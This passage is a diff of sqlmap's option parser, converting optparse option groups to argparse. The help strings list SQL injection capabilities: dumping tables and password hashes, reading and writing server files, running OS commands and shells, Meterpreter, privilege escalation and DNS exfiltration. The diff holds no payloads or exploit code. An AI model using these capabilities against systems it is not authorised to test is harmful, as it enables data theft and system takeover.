string " - "for direct database connection") + target.add_argument("-d", dest="direct", + help="Connection string for direct database connection") - target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") + target.add_argument("-l", dest="logFile", + help="Parse target(s) from Burp or WebScarab proxy log file") - target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " - "or WebScarab proxy log file") + target.add_argument("-m", dest="bulkFile", + help="Scan multiple targets given in a textual file") - target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") + target.add_argument("-r", dest="requestFile", + help="Load HTTP request from a file") - target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " - "in a textual file ") + target.add_argument("-g", dest="googleDork", + help="Process Google dork results as target URLs") - target.add_option("-r", dest="requestFile", - help="Load HTTP request from a file") + target.add_argument("-c", dest="configFile", + help="Load options from a configuration INI file") - target.add_option("-g", dest="googleDork", - help="Process Google dork results as target URLs") + target.add_argument("--openapi", dest="openApiFile", + help="Derive targets from OpenAPI/Swagger (file/URL)") - target.add_option("-c", dest="configFile", - help="Load options from a configuration INI file") + target.add_argument("--openapi-base", dest="openApiBase", + help="Base URL for a host-less OpenAPI/Swagger spec") + + target.add_argument("--openapi-tags", dest="openApiTags", + help="Only derive targets from operations with these tag(s)") # Request options - request = OptionGroup(parser, "Request", "These options can be used " - "to specify how to connect to the target URL") + request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") - request.add_option("--method", dest="method", - help="Force usage of given HTTP method (e.g. PUT)") + request.add_argument("-A", "--user-agent", dest="agent", + help="HTTP User-Agent header value") - request.add_option("--data", dest="data", - help="Data string to be sent through POST") + request.add_argument("-H", "--header", dest="header", + help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") - request.add_option("--param-del", dest="paramDel", - help="Character used for splitting parameter values") + request.add_argument("-X", "--method", dest="method", + help="Force usage of given HTTP method (e.g. PUT)") - request.add_option("--cookie", dest="cookie", - help="HTTP Cookie header value") + request.add_argument("--data", dest="data", + help="Data string to be sent through POST (e.g. \"id=1\")") - request.add_option("--cookie-del", dest="cookieDel", - help="Character used for splitting cookie values") + request.add_argument("--param-del", dest="paramDel", + help="Character used for splitting parameter values (e.g. &)") - request.add_option("--load-cookies", dest="loadCookies", - help="File containing cookies in Netscape/wget format") + request.add_argument("--cookie", dest="cookie", + help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") - request.add_option("--drop-set-cookie", dest="dropSetCookie", - action="store_true", - help="Ignore Set-Cookie header from response") + request.add_argument("--cookie-del", dest="cookieDel", + help="Character used for splitting cookie values (e.g. ;)") - request.add_option("--user-agent", dest="agent", - help="HTTP User-Agent header value") + request.add_argument("--live-cookies", dest="liveCookies", + help="Live cookies file used for loading up-to-date values") - request.add_option("--random-agent", dest="randomAgent", - action="store_true", - help="Use randomly selected HTTP User-Agent header value") + request.add_argument("--load-cookies", dest="loadCookies", + help="File containing cookies in Netscape/wget format") - request.add_option("--host", dest="host", - help="HTTP Host header value") + request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", + help="Ignore Set-Cookie header from response") - request.add_option("--referer", dest="referer", - help="HTTP Referer header value") + request.add_argument("--http1.0", dest="http10", action="store_true", + help="Use HTTP version 1.0 (old)") - request.add_option("-H", "--header", dest="header", - help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") + request.add_argument("--http2", dest="http2", action="store_true", + help="Use HTTP version 2 (experimental)") - request.add_option("--headers", dest="headers", - help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") + request.add_argument("--mobile", dest="mobile", action="store_true", + help="Imitate smartphone through HTTP User-Agent header") - request.add_option("--auth-type", dest="authType", - help="HTTP authentication type " - "(Basic, Digest, NTLM or PKI)") + request.add_argument("--random-agent", dest="randomAgent", action="store_true", + help="Use randomly selected HTTP User-Agent header value") - request.add_option("--auth-cred", dest="authCred", - help="HTTP authentication credentials " - "(name:password)") + request.add_argument("--host", dest="host", + help="HTTP Host header value") - request.add_option("--auth-file", dest="authFile", - help="HTTP authentication PEM cert/private key file") + request.add_argument("--referer", dest="referer", + help="HTTP Referer header value") - request.add_option("--ignore-401", dest="ignore401", action="store_true", - help="Ignore HTTP Error 401 (Unauthorized)") + request.add_argument("--headers", dest="headers", + help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") - request.add_option("--proxy", dest="proxy", - help="Use a proxy to connect to the target URL") + request.add_argument("--auth-type", dest="authType", + help="HTTP authentication type (Basic, Digest, Bearer, ...)") - request.add_option("--proxy-cred", dest="proxyCred", - help="Proxy authentication credentials " - "(name:password)") + request.add_argument("--auth-cred", dest="authCred", + help="HTTP authentication credentials (name:password)") - request.add_option("--proxy-file", dest="proxyFile", - help="Load proxy list from a file") + request.add_argument("--auth-file", dest="authFile", + help="HTTP authentication PEM cert/private key file") - request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", - help="Ignore system default proxy settings") + request.add_argument("--abort-code", dest="abortCode", + help="Abort on (problematic) HTTP error code(s) (e.g. 401)") - request.add_option("--tor", dest="tor", - action="store_true", - help="Use Tor anonymity network") + request.add_argument("--ignore-code", dest="ignoreCode", + help="Ignore (problematic) HTTP error code(s) (e.g. 401)") - request.add_option("--tor-port", dest="torPort", - help="Set Tor proxy port other than default") + request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", + help="Ignore system default proxy settings") - request.add_option("--tor-type", dest="torType", - help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)") + request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", + help="Ignore redirection attempts") - request.add_option("--check-tor", dest="checkTor", - action="store_true", - help="Check to see if Tor is used properly") + request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", + help="Ignore connection timeouts") - request.add_option("--delay", dest="delay", type="float", - help="Delay in seconds between each HTTP request") + request.add_argument("--proxy", dest="proxy", + help="Use a proxy to connect to the target URL") - request.add_option("--timeout", dest="timeout", type="float", - help="Seconds to wait before timeout connection " - "(default %d)" % defaults.timeout) + request.add_argument("--proxy-cred", dest="proxyCred", + help="Proxy authentication credentials (name:password)") - request.add_option("--retries", dest="retries", type="int", - help="Retries when the connection timeouts " - "(default %d)" % defaults.retries) + request.add_argument("--proxy-file", dest="proxyFile", + help="Load proxy list from a file") - request.add_option("--randomize", dest="rParam", - help="Randomly change value for given parameter(s)") + request.add_argument("--proxy-freq", dest="proxyFreq", type=int, + help="Requests between change of proxy from a given list") - request.add_option("--safe-url", dest="safeUrl", - help="URL address to visit frequently during testing") + request.add_argument("--tor", dest="tor", action="store_true", + help="Use Tor anonymity network") - request.add_option("--safe-post", dest="safePost", - help="POST data to send to a safe URL") + request.add_argument("--tor-port", dest="torPort", + help="Set Tor proxy port other than default") - request.add_option("--safe-req", dest="safeReqFile", - help="Load safe HTTP request from a file") + request.add_argument("--tor-type", dest="torType", + help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") - request.add_option("--safe-freq", dest="safeFreq", type="int", - help="Test requests between two visits to a given safe URL") + request.add_argument("--check-tor", dest="checkTor", action="store_true", + help="Check to see if Tor is used properly") - request.add_option("--skip-urlencode", dest="skipUrlEncode", - action="store_true", - help="Skip URL encoding of payload data") + request.add_argument("--delay", dest="delay", type=float, + help="Delay in seconds between each HTTP request") - request.add_option("--csrf-token", dest="csrfToken", - help="Parameter used to hold anti-CSRF token") + request.add_argument("--timeout", dest="timeout", type=float, + help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) - request.add_option("--csrf-url", dest="csrfUrl", - help="URL address to visit to extract anti-CSRF token") + request.add_argument("--retries", dest="retries", type=int, + help="Retries when the connection timeouts (default %d)" % defaults.retries) - request.add_option("--force-ssl", dest="forceSSL", - action="store_true", - help="Force usage of SSL/HTTPS") + request.add_argument("--retry-on", dest="retryOn", + help="Retry request on regexp matching content (e.g. \"drop\")") - request.add_option("--hpp", dest="hpp", - action="store_true", - help="Use HTTP parameter pollution method") + request.add_argument("--randomize", dest="rParam", + help="Randomly change value for given parameter(s)") - request.add_option("--eval", dest="evalCode", - help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") + request.add_argument("--safe-url", dest="safeUrl", + help="URL address to visit frequently during testing") - # Optimization options - optimization = OptionGroup(parser, "Optimization", "These " - "options can be used to optimize the " - "performance of sqlmap") + request.add_argument("--safe-post", dest="safePost", + help="POST data to send to a safe URL") + + request.add_argument("--safe-req", dest="safeReqFile", + help="Load safe HTTP request from a file") + + request.add_argument("--safe-freq", dest="safeFreq", type=int, + help="Regular requests between visits to a safe URL") + + request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", + help="Skip URL encoding of payload data") + + request.add_argument("--skip-xmlencode", dest="skipXmlEncode", action="store_true", + help="Skip safe encoding of payload data for SOAP/XML") + + request.add_argument("--csrf-token", dest="csrfToken", + help="Parameter used to hold anti-CSRF token") + + request.add_argument("--csrf-url", dest="csrfUrl", + help="URL address to visit for extraction of anti-CSRF token") + + request.add_argument("--csrf-method", dest="csrfMethod", + help="HTTP method to use during anti-CSRF token page visit") + + request.add_argument("--csrf-data", dest="csrfData", + help="POST data to send during anti-CSRF token page visit") + + request.add_argument("--csrf-retries", dest="csrfRetries", type=int, + help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) + + request.add_argument("--force-ssl", dest="forceSSL", action="store_true", + help="Force usage of SSL/HTTPS") + + request.add_argument("--chunked", dest="chunked", action="store_true", + help="Use HTTP chunked transfer encoded (POST) requests") + + request.add_argument("--hpp", dest="hpp", action="store_true", + help="Use HTTP parameter pollution method") + + request.add_argument("--eval", dest="evalCode", + help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") - optimization.add_option("-o", dest="optimize", - action="store_true", - help="Turn on all optimization switches") + # Optimization options + optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") - optimization.add_option("--predict-output", dest="predictOutput", action="store_true", - help="Predict common queries output") + optimization.add_argument("-o", dest="optimize", action="store_true", + help="Turn on all optimization switches") - optimization.add_option("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + # Note: persistent (Keep-Alive) connections are used by default; this opts out + optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true", + help="Disable persistent HTTP(s) connections (Keep-Alive)") - optimization.add_option("--null-connection", dest="nullConnection", action="store_true", - help="Retrieve page length without actual HTTP response body") + optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", + help="Retrieve page length without actual HTTP response body") - optimization.add_option("--threads", dest="threads", type="int", - help="Max number of concurrent HTTP(s) " - "requests (default %d)" % defaults.threads) + optimization.add_argument("--threads", dest="threads", type=int, + help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads) # Injection options - injection = OptionGroup(parser, "Injection", "These options can be " - "used to specify which parameters to test " - "for, provide custom injection payloads and " - "optional tampering scripts") + injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") + + injection.add_argument("-p", dest="testParameter", + help="Testable parameter(s)") + + injection.add_argument("--skip", dest="skip", + help="Skip testing for given parameter(s)") + + injection.add_argument("--skip-static", dest="skipStatic", action="store_true", + help="Skip testing parameters that do not appear to be dynamic") - injection.add_option("-p", dest="testParameter", - help="Testable parameter(s)") + injection.add_argument("--param-exclude", dest="paramExclude", + help="Regexp to exclude parameters from testing (e.g. \"ses\")") - injection.add_option("--skip", dest="skip", - help="Skip testing for given parameter(s)") + injection.add_argument("--param-filter", dest="paramFilter", + help="Select testable parameter(s) by place (e.g. \"POST\")") - injection.add_option("--skip-static", dest="skipStatic", action="store_true", - help="Skip testing parameters that not appear dynamic") + injection.add_argument("--dbms", dest="dbms", + help="Force back-end DBMS to provided value") - injection.add_option("--dbms", dest="dbms", - help="Force back-end DBMS to this value") + injection.add_argument("--dbms-cred", dest="dbmsCred", + help="DBMS authentication credentials (user:password)") - injection.add_option("--dbms-cred", dest="dbmsCred", - help="DBMS authentication credentials (user:password)") + injection.add_argument("--esperanto", dest="esperanto", action="store_true", + help="Use the DBMS-agnostic enumeration engine") - injection.add_option("--os", dest="os", - help="Force back-end DBMS operating system " - "to this value") + injection.add_argument("--os", dest="os", + help="Force back-end DBMS operating system to provided value") - injection.add_option("--invalid-bignum", dest="invalidBignum", - action="store_true", - help="Use big numbers for invalidating values") + injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", + help="Use big numbers for invalidating values") - injection.add_option("--invalid-logical", dest="invalidLogical", - action="store_true", - help="Use logical operations for invalidating values") + injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", + help="Use logical operations for invalidating values") - injection.add_option("--invalid-string", dest="invalidString", - action="store_true", - help="Use random strings for invalidating values") + injection.add_argument("--invalid-string", dest="invalidString", action="store_true", + help="Use random strings for invalidating values") - injection.add_option("--no-cast", dest="noCast", - action="store_true", - help="Turn off payload casting mechanism") + injection.add_argument("--no-cast", dest="noCast", action="store_true", + help="Turn off payload casting mechanism") - injection.add_option("--no-escape", dest="noEscape", - action="store_true", - help="Turn off string escaping mechanism") + injection.add_argument("--no-escape", dest="noEscape", action="store_true", + help="Turn off string escaping mechanism") - injection.add_option("--prefix", dest="prefix", - help="Injection payload prefix string") + injection.add_argument("--prefix", dest="prefix", + help="Injection payload prefix string") - injection.add_option("--suffix", dest="suffix", - help="Injection payload suffix string") + injection.add_argument("--suffix", dest="suffix", + help="Injection payload suffix string") - injection.add_option("--tamper", dest="tamper", - help="Use given script(s) for tampering injection data") + injection.add_argument("--tamper", dest="tamper", + help="Use given script(s) for tampering injection data") + + injection.add_argument("--proof", dest="proof", action="store_true", + help="Prove exploitation of the detected injection point(s)") # Detection options - detection = OptionGroup(parser, "Detection", "These options can be " - "used to customize the detection phase") + detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") + + detection.add_argument("--level", dest="level", type=int, + help="Level of tests to perform (1-5, default %d)" % defaults.level) - detection.add_option("--level", dest="level", type="int", - help="Level of tests to perform (1-5, " - "default %d)" % defaults.level) + detection.add_argument("--risk", dest="risk", type=int, + help="Risk of tests to perform (1-3, default %d)" % defaults.risk) - detection.add_option("--risk", dest="risk", type="int", - help="Risk of tests to perform (1-3, " - "default %d)" % defaults.level) + detection.add_argument("--string", dest="string", + help="String to match when query is evaluated to True") - detection.add_option("--string", dest="string", - help="String to match when " - "query is evaluated to True") + detection.add_argument("--not-string", dest="notString", + help="String to match when query is evaluated to False") - detection.add_option("--not-string", dest="notString", - help="String to match when " - "query is evaluated to False") + detection.add_argument("--regexp", dest="regexp", + help="Regexp to match when query is evaluated to True") - detection.add_option("--regexp", dest="regexp", - help="Regexp to match when " - "query is evaluated to True") + detection.add_argument("--code", dest="code", type=int, + help="HTTP code to match when query is evaluated to True") - detection.add_option("--code", dest="code", type="int", - help="HTTP code to match when " - "query is evaluated to True") + detection.add_argument("--lengths", dest="lengths", action="store_true", + help="Compare pages based only on their content length") - detection.add_option("--text-only", dest="textOnly", - action="store_true", - help="Compare pages based only on the textual content") + detection.add_argument("--smart", dest="smart", action="store_true", + help="Perform thorough tests only if positive heuristic(s)") - detection.add_option("--titles", dest="titles", - action="store_true", - help="Compare pages based only on their titles") + detection.add_argument("--text-only", dest="textOnly", action="store_true", + help="Compare pages based only on the textual content") + + detection.add_argument("--titles", dest="titles", action="store_true", + help="Compare pages based only on their titles") # Techniques options - techniques = OptionGroup(parser, "Techniques", "These options can be " - "used to tweak testing of specific SQL " - "injection techniques") + techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") + + techniques.add_argument("--technique", dest="technique", + help="SQL injection techniques to use (default \"%s\")" % defaults.technique) - techniques.add_option("--technique", dest="tech", - help="SQL injection techniques to use " - "(default \"%s\")" % defaults.tech) + techniques.add_argument("--time-sec", dest="timeSec", type=int, + help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) - techniques.add_option("--time-sec", dest="timeSec", - type="int", - help="Seconds to delay the DBMS response " - "(default %d)" % defaults.timeSec) + techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", + help="Disable the statistical model for detecting the delay") - techniques.add_option("--union-cols", dest="uCols", - help="Range of columns to test for UNION query SQL injection") + techniques.add_argument("--timeless", dest="timeless", action="store_true", + help="Use HTTP/2 timeless timing (faster, no delay)") - techniques.add_option("--union-char", dest="uChar", - help="Character to use for bruteforcing number of columns") + techniques.add_argument("--union-cols", dest="uCols", + help="Range of columns to test for UNION query SQL injection") - techniques.add_option("--union-from", dest="uFrom", - help="Table to use in FROM part of UNION query SQL injection") + techniques.add_argument("--union-char", dest="uChar", + help="Character to use for bruteforcing number of columns") - techniques.add_option("--dns-domain", dest="dnsName", - help="Domain name used for DNS exfiltration attack") + techniques.add_argument("--union-from", dest="uFrom", + help="Table to use in FROM part of UNION query SQL injection") - techniques.add_option("--second-order", dest="secondOrder", - help="Resulting page URL searched for second-order " - "response") + techniques.add_argument("--union-values", dest="uValues", + help="Column values to use for UNION query SQL injection") + + techniques.add_argument("--dns-domain", dest="dnsDomain", + help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)") + + techniques.add_argument("--second-url", dest="secondUrl", + help="Resulting page URL searched for second-order response") + + techniques.add_argument("--second-req", dest="secondReq", + help="Load second-order HTTP request from file") # Fingerprint options - fingerprint = OptionGroup(parser, "Fingerprint") + fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint") - fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", - action="store_true", - help="Perform an extensive DBMS version fingerprint") + fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", + help="Perform an extensive DBMS version fingerprint") # Enumeration options - enumeration = OptionGroup(parser, "Enumeration", "These options can " - "be used to enumerate the back-end database " - "management system information, structure " - "and data contained in the tables. Moreover " - "you can run your own SQL statements") + enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables") + + enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", + help="Retrieve everything") - enumeration.add_option("-a", "--all", dest="getAll", - action="store_true", help="Retrieve everything") + enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", + help="Retrieve DBMS banner") - enumeration.add_option("-b", "--banner", dest="getBanner", - action="store_true", help="Retrieve DBMS banner") + enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", + help="Retrieve DBMS current user") - enumeration.add_option("--current-user", dest="getCurrentUser", - action="store_true", - help="Retrieve DBMS current user") + enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", + help="Retrieve DBMS current database") - enumeration.add_option("--current-db", dest="getCurrentDb", - action="store_true", - help="Retrieve DBMS current database") + enumeration.add_argument("--hostname", dest="getHostname", action="store_true", + help="Retrieve DBMS server hostname") - enumeration.add_option("--hostname", dest="getHostname", - action="store_true", - help="Retrieve DBMS server hostname") + enumeration.add_argument("--is-dba", dest="isDba", action="store_true", + help="Detect if the DBMS current user is DBA") - enumeration.add_option("--is-dba", dest="isDba", - action="store_true", - help="Detect if the DBMS current user is DBA") + enumeration.add_argument("--users", dest="getUsers", action="store_true", + help="Enumerate DBMS users") - enumeration.add_option("--users", dest="getUsers", action="store_true", - help="Enumerate DBMS users") + enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", + help="Enumerate DBMS users password hashes") - enumeration.add_option("--passwords", dest="getPasswordHashes", - action="store_true", - help="Enumerate DBMS users password hashes") + enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", + help="Enumerate DBMS users privileges") - enumeration.add_option("--privileges", dest="getPrivileges", - action="store_true", - help="Enumerate DBMS users privileges") + enumeration.add_argument("--roles", dest="getRoles", action="store_true", + help="Enumerate DBMS users roles") - enumeration.add_option("--roles", dest="getRoles", - action="store_true", - help="Enumerate DBMS users roles") + enumeration.add_argument("--dbs", dest="getDbs", action="store_true", + help="Enumerate DBMS databases") - enumeration.add_option("--dbs", dest="getDbs", action="store_true", - help="Enumerate DBMS databases") + enumeration.add_argument("--tables", dest="getTables", action="store_true", + help="Enumerate DBMS database tables") - enumeration.add_option("--tables", dest="getTables", action="store_true", - help="Enumerate DBMS database tables") + enumeration.add_argument("--columns", dest="getColumns", action="store_true", + help="Enumerate DBMS database table columns") - enumeration.add_option("--columns", dest="getColumns", action="store_true", - help="Enumerate DBMS database table columns") + enumeration.add_argument("--schema", dest="getSchema", action="store_true", + help="Enumerate DBMS schema") - enumeration.add_option("--schema", dest="getSchema", action="store_true", - help="Enumerate DBMS schema") + enumeration.add_argument("--count", dest="getCount", action="store_true", + help="Retrieve number of entries for table(s)") - enumeration.add_option("--count", dest="getCount", action="store_true", - help="Retrieve number of entries for table(s)") + enumeration.add_argument("--dump", dest="dumpTable", action="store_true", + help="Dump DBMS database table entries") - enumeration.add_option("--dump", dest="dumpTable", action="store_true", - help="Dump DBMS database table entries") + enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", + help="Dump entries of all DBMS database tables") - enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", - help="Dump all DBMS databases tables entries") + enumeration.add_argument("--search", dest="search", action="store_true", + help="Search column(s), table(s) and/or database name(s)") - enumeration.add_option("--search", dest="search", action="store_true", - help="Search column(s), table(s) and/or database name(s)") + enumeration.add_argument("--comments", dest="getComments", action="store_true", + help="Check for DBMS comments during enumeration") - enumeration.add_option("--comments", dest="getComments", action="store_true", - help="Retrieve DBMS comments") + enumeration.add_argument("--statements", dest="getStatements", action="store_true", + help="Retrieve SQL statements being run on DBMS") - enumeration.add_option("-D", dest="db", - help="DBMS database to enumerate") + enumeration.add_argument("--procs", dest="getProcs", action="store_true", + help="Retrieve stored procedures/functions and their source") - enumeration.add_option("-T", dest="tbl", - help="DBMS database table(s) to enumerate") + enumeration.add_argument("-D", dest="db", + help="DBMS database to enumerate") - enumeration.add_option("-C", dest="col", - help="DBMS database table column(s) to enumerate") + enumeration.add_argument("-T", dest="tbl", + help="DBMS database table(s) to enumerate") - enumeration.add_option("-X", dest="excludeCol", - help="DBMS database table column(s) to not enumerate") + enumeration.add_argument("-C", dest="col", + help="DBMS database table column(s) to enumerate") - enumeration.add_option("-U", dest="user", - help="DBMS user to enumerate") + enumeration.add_argument("--exclude", dest="exclude", + help="DBMS database identifier(s) to not enumerate") - enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", - action="store_true", - help="Exclude DBMS system databases when " - "enumerating tables") + enumeration.add_argument("-U", dest="user", + help="DBMS user to enumerate") - enumeration.add_option("--where", dest="dumpWhere", - help="Use WHERE condition while table dumping") + enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", + help="Exclude DBMS system databases when enumerating tables") - enumeration.add_option("--start", dest="limitStart", type="int", - help="First query output entry to retrieve") + enumeration.add_argument("--pivot-column", dest="pivotColumn", + help="Pivot column name") - enumeration.add_option("--stop", dest="limitStop", type="int", - help="Last query output entry to retrieve") + enumeration.add_argument("--where", dest="dumpWhere", + help="Use WHERE condition while table dumping") - enumeration.add_option("--first", dest="firstChar", type="int", - help="First query output word character to retrieve") + enumeration.add_argument("--start", dest="limitStart", type=int, + help="First dump table entry to retrieve") - enumeration.add_option("--last", dest="lastChar", type="int", - help="Last query output word character to retrieve") + enumeration.add_argument("--stop", dest="limitStop", type=int, + help="Last dump table entry to retrieve") - enumeration.add_option("--sql-query", dest="query", - help="SQL statement to be executed") + enumeration.add_argument("--first", dest="firstChar", type=int, + help="First query output word character to retrieve") - enumeration.add_option("--sql-shell", dest="sqlShell", - action="store_true", - help="Prompt for an interactive SQL shell") + enumeration.add_argument("--last", dest="lastChar", type=int, + help="Last query output word character to retrieve") - enumeration.add_option("--sql-file", dest="sqlFile", - help="Execute SQL statements from given file(s)") + enumeration.add_argument("--sql-query", dest="sqlQuery", + help="SQL statement to be executed") + + enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", + help="Prompt for an interactive SQL shell") + + enumeration.add_argument("--sql-file", dest="sqlFile", + help="Execute SQL statements from given file(s)") # Brute force options - brute = OptionGroup(parser, "Brute force", "These " - "options can be used to run brute force " - "checks") + brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") - brute.add_option("--common-tables", dest="commonTables", action="store_true", - help="Check existence of common tables") + brute.add_argument("--common-tables", dest="commonTables", action="store_true", + help="Check existence of common tables") - brute.add_option("--common-columns", dest="commonColumns", action="store_true", - help="Check existence of common columns") + brute.add_argument("--common-columns", dest="commonColumns", action="store_true", + help="Check existence of common columns") + + brute.add_argument("--common-files", dest="commonFiles", action="store_true", + help="Check existence of common files") # User-defined function options - udf = OptionGroup(parser, "User-defined function injection", "These " - "options can be used to create custom user-defined " - "functions") + udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") - udf.add_option("--udf-inject", dest="udfInject", action="store_true", - help="Inject custom user-defined functions") + udf.add_argument("--udf-inject", dest="udfInject", action="store_true", + help="Inject custom user-defined functions") - udf.add_option("--shared-lib", dest="shLib", - help="Local path of the shared library") + udf.add_argument("--shared-lib", dest="shLib", + help="Local path of the shared library") # File system options - filesystem = OptionGroup(parser, "File system access", "These options " - "can be used to access the back-end database " - "management system underlying file system") + filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") - filesystem.add_option("--file-read", dest="rFile", - help="Read a file from the back-end DBMS " - "file system") + filesystem.add_argument("--file-read", dest="fileRead", + help="Read a file from the back-end DBMS file system") - filesystem.add_option("--file-write", dest="wFile", - help="Write a local file on the back-end " - "DBMS file system") + filesystem.add_argument("--file-write", dest="fileWrite", + help="Write a local file on the back-end DBMS file system") - filesystem.add_option("--file-dest", dest="dFile", - help="Back-end DBMS absolute filepath to " - "write to") + filesystem.add_argument("--file-dest", dest="fileDest", + help="Back-end DBMS absolute filepath to write to") # Takeover options - takeover = OptionGroup(parser, "Operating system access", "These " - "options can be used to access the back-end " - "database management system underlying " - "operating system") - - takeover.add_option("--os-cmd", dest="osCmd", - help="Execute an operating system command") - - takeover.add_option("--os-shell", dest="osShell", - action="store_true", - help="Prompt for an interactive operating " - "system shell") - - takeover.add_option("--os-pwn", dest="osPwn", - action="store_true", - help="Prompt for an OOB shell, " - "Meterpreter or VNC") - - takeover.add_option("--os-smbrelay", dest="osSmb", - action="store_true", - help="One click prompt for an OOB shell, " - "Meterpreter or VNC") - - takeover.add_option("--os-bof", dest="osBof", - action="store_true", - help="Stored procedure buffer overflow " - "exploitation") - - takeover.add_option("--priv-esc", dest="privEsc", - action="store_true", - help="Database process user privilege escalation") - - takeover.add_option("--msf-path", dest="msfPath", - help="Local path where Metasploit Framework " - "is installed") - - takeover.add_option("--tmp-path", dest="tmpPath", - help="Remote absolute path of temporary files " - "directory") + takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") + + takeover.add_argument("--os-cmd", dest="osCmd", + help="Execute an operating system command") + + takeover.add_argument("--os-shell", dest="osShell", action="store_true", + help="Prompt for an interactive operating system shell") + + takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", + help="Prompt for an OOB shell, Meterpreter or VNC") + + takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", + help="One-click prompt for an OOB shell, Meterpreter or VNC") + + takeover.add_argument("--os-bof", dest="osBof", action="store_true", + help="Stored procedure buffer overflow exploitation") + + takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", + help="Database process user privilege escalation") + + takeover.add_argument("--msf-path", dest="msfPath", + help="Local path where Metasploit Framework is installed") + + takeover.add_argument("--tmp-path", dest="tmpPath", + help="Remote absolute path of temporary files directory") # Windows registry options - windows = OptionGroup(parser, "Windows registry access", "These " - "options can be used to access the back-end " - "database management system Windows " - "registry") + windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") - windows.add_option("--reg-read", dest="regRead", - action="store_true", - help="Read a Windows registry key value") + windows.add_argument("--reg-read", dest="regRead", action="store_true", + help="Read a Windows registry key value") - windows.add_option("--reg-add", dest="regAdd", - action="store_true", - help="Write a Windows registry key value data") + windows.add_argument("--reg-add", dest="regAdd", action="store_true", + help="Write a Windows registry key value data") - windows.add_option("--reg-del", dest="regDel", - action="store_true", - help="Delete a Windows registry key value") + windows.add_argument("--reg-del", dest="regDel", action="store_true", + help="Delete a Windows registry key value") - windows.add_option("--reg-key", dest="regKey", - help="Windows registry key") + windows.add_argument("--reg-key", dest="regKey", + help="Windows registry key") - windows.add_option("--reg-value", dest="regVal", - help="Windows registry key value") + windows.add_argument("--reg-value", dest="regVal", + help="Windows registry key value") - windows.add_option("--reg-data", dest="regData", - help="Windows registry key value data") + windows.add_argument("--reg-data", dest="regData", + help="Windows registry key value data") - windows.add_option("--reg-type", dest="regType", - help="Windows registry key value type") + windows.add_argument("--reg-type", dest="regType", + help="Windows registry key value type") # General options - general = OptionGroup(parser, "General", "These options can be used " - "to set some general working parameters") + general = parser.add_argument_group("General", "These options can be used to set some general working parameters") + + general.add_argument("-s", dest="sessionFile", + help="Load session from a stored (.sqlite) file") + + general.add_argument("-t", dest="trafficFile", + help="Log all HTTP traffic into a textual file") + + general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true", + help="Abort data retrieval on empty results") + + general.add_argument("--answers", dest="answers", + help="Set predefined answers (e.g. \"quit=N,follow=N\")") + + general.add_argument("--base64", dest="base64Parameter", + help="Parameter(s) containing Base64 encoded data") + + general.add_argument("--base64-safe", dest="base64Safe", action="store_true", + help="Use URL and filename safe Base64 alphabet (RFC 4648)") + + general.add_argument("--batch", dest="batch", action="store_true", + help="Never ask for user input, use the default behavior") + + general.add_argument("--binary-fields", 